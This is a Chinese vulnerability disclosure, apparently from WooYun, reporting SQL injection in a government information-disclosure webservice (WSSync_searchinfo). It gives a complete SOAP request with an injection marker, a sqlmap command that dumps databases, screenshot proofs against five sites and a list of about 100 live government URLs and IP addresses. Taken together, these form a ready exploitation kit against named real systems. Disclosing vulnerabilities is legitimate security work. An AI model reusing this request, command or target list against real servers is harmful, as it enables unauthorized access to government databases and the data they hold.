### 简要描述:
大汉政府信息公开多处SQL注入一(附100个案例)
### 详细说明:
webservice漏洞,漏洞存在于
/xxgk/services/WSSync_searchinfo
该WSSync_searchinfo服务的多个方法,多个参数存在严重漏洞,且该漏洞普遍存在,如
getClientIpAxis
wsTest
wsSyncGetInfos
setBase64
isBase64
setStrAppId
上述方法的多个参数均存在漏洞,这里随便选取一个方法进行测试
首先保存如下内容为wooyun.txt
```
POST /xxgk/services/WSSync_searchinfo HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 222
Host: xxgk.cqyc.gov.cn
Connection: Close
User-Agent: google robots
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.blf.jcms">
<soapenv:Header/>
<soapenv:Body>
<web:wsSyncGetInfos soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<strLoginId xsi:type="xsd:string">1*</strLoginId>
<strPwd xsi:type="xsd:string">1</strPwd>
<strKey xsi:type="xsd:string">1</strKey>
<num xsi:type="xsd:string">1</num>
<maxId xsi:type="xsd:string">1</maxId>
</web:wsSyncGetInfos>
</soapenv:Body>
</soapenv:Envelope>
```
直接用sqlmap即可跑出数据,这次选择不同的5个案例进行证明:
案例一:xxgk.lyg.gov.cn
[<img src="https://images.seebug.org/upload/201504/12182705903d52c8be3bc31f2238ea7767e3bb01.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/12182705903d52c8be3bc31f2238ea7767e3bb01.png)
案例二:xxgk.cqyc.gov.cn
[<img src="https://images.seebug.org/upload/201504/121829347f58e53f92e4b6c2ee5881a80a85b7ca.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/121829347f58e53f92e4b6c2ee5881a80a85b7ca.png)
案例三:xxgk.yiyuan.gov.cn
[<img src="https://images.seebug.org/upload/201504/12182947b738c11df011e865d5708f4adb006572.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/12182947b738c11df011e865d5708f4adb006572.png)
案例四:218.2.208.145
[<img src="https://images.seebug.org/upload/201504/121829568dc46b96efe3e71e9053f0bbbbac618b.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/121829568dc46b96efe3e71e9053f0bbbbac618b.png)
案例五:xxgk.panxian.gov.cn
[<img src="https://images.seebug.org/upload/201504/12183012313e27ce90cfc3bac4ca0c30c5b01222.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/12183012313e27ce90cfc3bac4ca0c30c5b01222.png)
### 漏洞证明:
sqlmap跑出数据:
```
sqlmap.py -r wooyun.txt --current-db --dbs
```
[<img src="https://images.seebug.org/upload/201504/12183104aa30c9dd0e3cc2ab737b6d5cb3cd718e.png" alt="data.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/12183104aa30c9dd0e3cc2ab737b6d5cb3cd718e.png)
由于该漏洞普遍存在,为证明漏洞的危害,同样列举100个案例:
http://xxgk.zjds.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.taixing.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jining.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.xxgk.lg.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.jinhua.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://gongkai.sd-n-tax.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.wenzhou.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jsgs.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.nbjiangbei.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.sdxm.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.changde.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.gygov.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.longwan.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.cqyc.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.gaomi.gov.cn:82/xxgk/services/WSSync_searchinfo?wsdl
http://www.huzhou.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.zaozhuang.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.lucheng.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://zfxxgk.weihai.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://218.94.123.47/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.yiyuan.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.zhucheng.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.nanxun.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.xiaogan.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.zibo.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.lyg.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://211.138.126.163/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.wencheng.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://zfxxgk.liaocheng.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.jsforestry.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://60.190.68.201:7001/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.shizhong.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.gzlps.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jingning.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://blxxgk.bl.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.qingzhou.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.panxian.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.dongtai.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.shanghe.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.cncn.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.gzwd.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.hzgjj.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.siyang.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.zjwy.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.tianqiao.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://218.2.208.145/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jc.gansu.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.wzrc.net/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.hbjs.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jiangyan.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jingjiang.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.changle.gov.cn:82/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.szzj.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.stats-sd.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.hg.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.zjdlr.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.yj.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.yqjq.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://zfxxgk.heze.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk3.nantong.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.jsgl.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.zjch.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.yidu.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.jsmuseum.com/xxgk/services/WSSync_searchinfo?wsdl
http://www.77778.com/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.pingyin.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.jshb.net/xxgk/services/WSSync_searchinfo?wsdl
http://zfxxgk.seac.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.tx.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.dejiang.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.yq.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.ec.js.edu.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.njzj.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.zjpy.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://www.gaoqing.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.czzl.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.liuzhi.gov.cn/xxgk/services/WSSync_searchinfo?wsdl
http://xxgk.sx.gov.cn/xxgk_public/services/WSSmsSync?wsdl
http://xxgk.10.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.ycxl.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.changyang.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.haiyan.gov.cn/gov/services/WSSync_searchinfo
http://open.jiashan.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.yichang.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.dyq.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.xingshan.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.kuiwen.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.hbwf.gov.cn/gov/services/WSSync_searchinfo
http://www.wuxing.gov.cn/gov/services/WSSync_searchinfo
http://61.159.149.203:9080/gov/services/WSSync_searchinfo
http://xxgk.dianjun.gov.cn/gov/services/WSSync_searchinfo
http://211.138.126.163:7003/gov/services/WSSync_searchinfo
http://xxgk.zrt.gov.cn/gov/services/WSSync_searchinfo
http://220.191.221.136/gov/services/WSSync_searchinfo
http://119.191.58.141/gov/services/WSSync_searchinfo
http://zfxxgk.dongying.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.hbdy.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.yuanan.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.lijin.gov.cn/gov/services/WSSync_searchinfo
http://xxgk.sdfda.gov.cn/gov/services/WSSync_searchinfo
暂无评论